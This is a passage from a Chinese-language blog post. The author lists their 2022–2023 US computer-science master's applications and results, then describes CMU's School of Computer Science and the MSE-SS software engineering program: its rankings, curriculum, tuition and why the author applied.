          <td><a href="https://mse.s3d.cmu.edu/applicants/mse-ap/index.html" target="_blank" rel="noreferrer">MSE-SS<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2022-12-11</td>
          <td>2023-03-10</td>
          <td>🎉 Admission</td>
      </tr>
      <tr>
          <td>🌟</td>
          <td><abbr title="Stanford University 史丹佛大學">Stanford</abbr></td>
          <td><a href="https://cs.stanford.edu/admissions/masters/general-information" target="_blank" rel="noreferrer">MCS<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2022-12-07</td>
          <td>2023-03-17</td>
          <td>🥲 Rejection</td>
      </tr>
      <tr>
          <td>🌟</td>
          <td><abbr title="University of Illinois Urbana-Champaign 伊利諾大學厄巴納-香檳分校">UIUC</abbr></td>
          <td><a href="https://cs.illinois.edu/academics/graduate/professional-mcs/campus-master-computer-science" target="_blank" rel="noreferrer">MCS<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2023-01-14</td>
          <td>2023-03-17</td>
          <td>🥲 Rejection</td>
      </tr>
      <tr>
          <td>🌟</td>
          <td><abbr title="University of Southern California 南加州大學">USC</abbr></td>
          <td><a href="https://viterbigradadmission.usc.edu/programs/masters/msprograms/computer-science/ms-computer-science/" target="_blank" rel="noreferrer">MSCS<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2022-12-09</td>
          <td></td>
          <td></td>
      </tr>
      <tr>
          <td>🌟</td>
          <td><abbr title="University of Southern California 南加州大學">USC</abbr></td>
          <td><a href="https://viterbigradadmission.usc.edu/programs/masters/msprograms/computer-science/ms-computer-science-artificial-intelligence/" target="_blank" rel="noreferrer">MSCS-AI<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2022-12-10</td>
          <td></td>
          <td></td>
      </tr>
      <tr>
          <td>🌟</td>
          <td><abbr title="University of California, Irvine 加州大學爾灣分校">UC Irvine</abbr></td>
          <td><a href="https://mswe.ics.uci.edu/" target="_blank" rel="noreferrer">MSWE<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2022-12-10</td>
          <td>2023-04-26</td>
          <td>🥲 Rejection</td>
      </tr>
      <tr>
          <td>🌟</td>
          <td><abbr title="University of California, Santa Barbara 加州聖巴巴拉分校">UC Santa Barbara</abbr></td>
          <td><a href="https://www.cs.ucsb.edu/education/graduate/masters-degree" target="_blank" rel="noreferrer">MSCS<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2022-12-15</td>
          <td>2023-05-03</td>
          <td>🥲 Rejection</td>
      </tr>
      <tr>
          <td>🌟</td>
          <td><abbr title="Rice University 萊斯大學">Rice</abbr></td>
          <td><a href="https://csweb.rice.edu/academics/graduate-programs/professional-masters-programs" target="_blank" rel="noreferrer">MCS<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2023-01-14</td>
          <td>2023-03-09</td>
          <td>🥲 Rejection</td>
      </tr>
      <tr>
          <td>🎯</td>
          <td><abbr title="University of Virginia 維吉尼亞大學">UVA</abbr></td>
          <td><a href="https://engineering.virginia.edu/departments/computer-science/cs-graduate-program" target="_blank" rel="noreferrer">MCS<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2023-01-14</td>
          <td>2023-03-14</td>
          <td>🥲 Rejection</td>
      </tr>
      <tr>
          <td>🎯</td>
          <td><abbr title="Texas A&M University 德州農工大學">TAMU</abbr></td>
          <td><a href="https://engineering.tamu.edu/cse/academics/degrees/graduate/mcs.html" target="_blank" rel="noreferrer">MCS<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2023-01-14</td>
          <td>2023-05-17</td>
          <td>🥲 Rejection</td>
      </tr>
      <tr>
          <td>🎯</td>
          <td><abbr title="University of California, Davis 加州大學戴維斯分校">UC Davis</abbr></td>
          <td><a href="https://cs.ucdavis.edu/graduate/our-programs/ms-degree" target="_blank" rel="noreferrer">MSCS<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2022-12-30</td>
          <td></td>
          <td></td>
      </tr>
      <tr>
          <td>🎯</td>
          <td><abbr title="New York University Tandon School of Engineering 紐約大學坦登工程學院">NYU Tandon</abbr></td>
          <td><a href="https://engineering.nyu.edu/academics/programs/computer-science-ms" target="_blank" rel="noreferrer">MSCS<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2022-11-30</td>
          <td>2023-01-26</td>
          <td>🥲 Rejection</td>
      </tr>
      <tr>
          <td>🛡</td>
          <td><abbr title="Arizona State University 亞利桑那州立大學">ASU</abbr></td>
          <td><a href="https://degrees.apps.asu.edu/masters-phd/major/ASU00/ESCOMSCMCS/computer-science-mcs" target="_blank" rel="noreferrer">MCS<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2022-11-30</td>
          <td>2022-12-21</td>
          <td>🎉 Admission</td>
      </tr>
      <tr>
          <td>🛡</td>
          <td><abbr title="Arizona State University 亞利桑那州立大學">ASU</abbr></td>
          <td><a href="https://degrees.apps.asu.edu/masters-phd/major/ASU00/TSSERMS/software-engineering-ms" target="_blank" rel="noreferrer">MSSE<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2022-11-30</td>
          <td>2022-12-21</td>
          <td>🎉 Admission</td>
      </tr>
      <tr>
          <td>🛡</td>
          <td><abbr title="Arizona State University 亞利桑那州立大學">ASU</abbr></td>
          <td><a href="https://degrees.apps.asu.edu/masters-phd/major/ASU00/TSIFTMS/information-technology-ms" target="_blank" rel="noreferrer">MSIT<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2022-11-30</td>
          <td>2023-02-23</td>
          <td>🎉 Admission</td>
      </tr>
      <tr>
          <td>🛡</td>
          <td><abbr title="North Carolina State University 北卡羅來納州立大學">NCSU</abbr></td>
          <td><a href="https://www.csc.ncsu.edu/academics/graduate/degrees/mcs.php" target="_blank" rel="noreferrer">MCS<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2022-12-14</td>
          <td>2023-02-03</td>
          <td>🎉 Admission</td>
      </tr>
  </tbody>
</table>
<p><small>謎之音：這個上榜數據如果轉換成 lol 的分數，5/10/0 估計是要被隊友嘴 NMSL </small></p>
<p>可以看到我的安全網做的還不錯 (大誤)，甚至還沒退伍、跨年就已經被 ASU 撈起來了。但網子之上其他的幾乎都是慘不忍睹 QQQQQQ</p>
<h2 id="-cmu-mse-ss-是什麼樣的學程" class="relative group">🏛️ CMU MSE-SS 是什麼樣的學程 </h2><h3 id="學校cmu" class="relative group">學校：CMU </h3><p>CMU 全名 Carnegie Mellon University，中文稱卡內基美隆大學，最知名的就是電腦科學學院，全世界的前 6 個 .edu 網域名稱有其中一個就是 cmu.edu，就可以知道 CMU 的電腦科學學院的歷史有多悠久。</p>
<p>雖然我也不是吃排名那一掛的，但為了接下來要講的東西，還是在這邊整理一下 2022 的全球排名：</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>綜合排名</th>
          <th>CS 排名</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>QS</td>
          <td><a href="https://www.topuniversities.com/universities/carnegie-mellon-university" target="_blank" rel="noreferrer">52<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td><a href="https://www.topuniversities.com/university-rankings/university-subject-rankings/2022/computer-science-information-systems?search=Carnegie%20Mellon%20University" target="_blank" rel="noreferrer">3<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
      </tr>
      <tr>
          <td>THE</td>
          <td><a href="https://www.timeshighereducation.com/world-university-rankings/carnegie-mellon-university" target="_blank" rel="noreferrer">28<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td><a href="https://www.timeshighereducation.com/world-university-rankings/2022/subject-ranking/computer-science#!/length/-1/name/Carnegie" target="_blank" rel="noreferrer">6<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
      </tr>
      <tr>
          <td>USNews</td>
          <td><a href="https://www.usnews.com/best-colleges/carnegie-mellon-university-3242" target="_blank" rel="noreferrer">22<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td><a href="https://www.usnews.com/best-graduate-schools/top-science-schools/computer-science-rankings?name=Carnegie%20Mellon%20University" target="_blank" rel="noreferrer">4<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
      </tr>
      <tr>
          <td>CSRanking</td>
          <td>-</td>
          <td><a href="https://csrankings.org/#/index?all&amp;world" target="_blank" rel="noreferrer">1<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
      </tr>
  </tbody>
</table>
<p>不知道大家有沒有過一種經驗，就是你訂了某個餐廳或是飯店，然後到去了的時候才發現，這地方的裝潢、服務過度奢華，高級到腦袋開始打結，懷疑自己是不是真的配得上這種檔次。</p>
<p>這就是我收到錄取信那個禮拜一直在想的事情 😶</p>
<h3 id="學院scs" class="relative group">學院：SCS </h3><p>一般而言，一間大學 (University) 會有許多學院 (College 或是 School)，而學院底下又會下設許多的科系 (Department)。在大多數的學校，CS 是一個學系 (Department), 但在 CMU，CS 是一整個學院—— School of Computer Science (SCS)，而這個學院底下又再細分不同領域的研究機構，負責開設分類更細緻的學程。</p>
<p>如果有興趣的話，可以在<a href="https://www.cs.cmu.edu/academics/masters/programs-comparison" target="_blank" rel="noreferrer">這裡<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>看到所有 CMU SCS 開設的碩士學程<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>。</p>
<h3 id="學程mse-ss" class="relative group">學程：MSE-SS </h3><p>我錄取的 <abbr title="Master of Software Engineering - Scalable Systems">MSE-SS</abbr> 跟 <abbr title="Master of Software Engineering - Embedded Systems">MSE-ES</abbr> 還有 <abbr title="Master of Software Engineering">MSE</abbr> (通常稱 MSE-Pro) 都隸屬於 <abbr title="Software and Societal Systems">S3D</abbr> 底下，主要的研究領域就是軟體工程。這個學程招生的取向主要面向已經有一定程度的程式設計師，然後在經過這個學程之後，能更加熟識大型系統的開發還有建構定義產品的思維。</p>
<p>幾個必修課像是：</p>
<ul>
<li>商業與行銷策略 (Business &amp; Marketing Strategy)</li>
<li>設計模式 (Design Patterns)</li>
<li>軟體架構 (Software Architecture)</li>
<li>品質管控 (Quality Management)</li>
<li>這裡只放一些一般人比較看得懂的課程，如果有興趣可以看看<a href="https://mse.isri.cmu.edu/applicants/mse-ap/plan.html" target="_blank" rel="noreferrer">必修課程清單<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>和<a href="https://mse.isri.cmu.edu/applicants/course-offerings.html" target="_blank" rel="noreferrer">所有 S3D 開設的課程<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
</ul>
<p>另外 SS 跟 ES 的學生會有強制的暑期實習，Pro 的則是做暑期專題，課程上除了 ES 會把一些系統課改成修硬體課，其他 80% 都是一樣的。</p>
<p>簡單來說，讀完大學的資工系學生應該要可以寫出<strong>能動的程式</strong>，但能動的程式不代表他是一個好的程式，對使用者來說好不好用，對後續其他工程師來說有沒有辦法維護、更新，這些都是在科技公司開發產品很重要的指標。所以但這個學程要教的是怎麼寫出<strong>有架構、能存活到下個 10 年的程式</strong>，其實意義上比台灣所稱的「資訊工程」還要更「工程」。</p>
<p>但這個學程最大的缺點就是，課綱非常死板，整個學程念下來幾乎全部都是必修課，只有後面 2~3 門課是可以自己選修的。</p>
<p>哦，還有爆幹貴的學費，真的是毀天滅地的貴。</p>
<h3 id="總而言之" class="relative group">總而言之 </h3><p>當時會考慮投這個學程的原因：</p>
<ul>
<li>不看 GRE</li>
<li>GPA 比重低</li>
<li>看重實作能力 (多年經營的 GitHub 總算有點毛用ㄌ嗚嗚嗚嗚</li>
<li>申請時要提供 Video Essay</li>
<li>申請完要做 Codility 的程式測驗</li>
<li>在 SCS 公開揭露的招生資料裡，這個學程的申請人數相對少，所以錄取率也稍微高一點</li>
</ul>
<p>所以這個學程挑選錄取學生的方式，可以說是很大程度的削減了我的劣勢 (GPA, GRE)，同時又增加了很多有利於我的條件 (程式測驗、實作能力、Video Essay)。</p>
<p>某種程度上來說，如果把 CMU 的 SCS 學院比喻為台大，那 MSE-SS 這個學程可能就是森林系吧，錄取 CMU SCS 學程的最低門檻：）</p>
